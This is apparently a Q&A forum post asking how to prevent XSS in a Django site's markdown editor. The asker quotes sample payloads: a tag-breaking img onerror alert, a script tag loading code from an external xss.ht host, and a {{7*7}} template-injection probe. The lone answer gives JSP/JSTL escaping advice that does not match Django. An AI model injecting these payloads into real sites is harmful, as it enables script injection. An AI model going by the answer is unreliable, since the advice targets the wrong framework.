如何使用HTML / Javascript防止XSS攻击？

Question

I want to know that how can I prevent script code and HTML attributes to stop from execution in editor of my website?

If someone add script tags with external link of code or call a function of jQuery in some attribute of HTML tag.

I am using markdown editor and django framework.

For example:

'>"></title></style></textarea></script><img src=x onerror=alert(document.domain)></script>
    '>"></title></style></textarea></script><script/src=https://samengmg.xss.ht></script>
    {{7*7}}{7*7}

Answer 1

use htmlEscape="true" for all input fields. If you are displaying a value, try fn:escapeXml(value). You need to import jstl functions taglib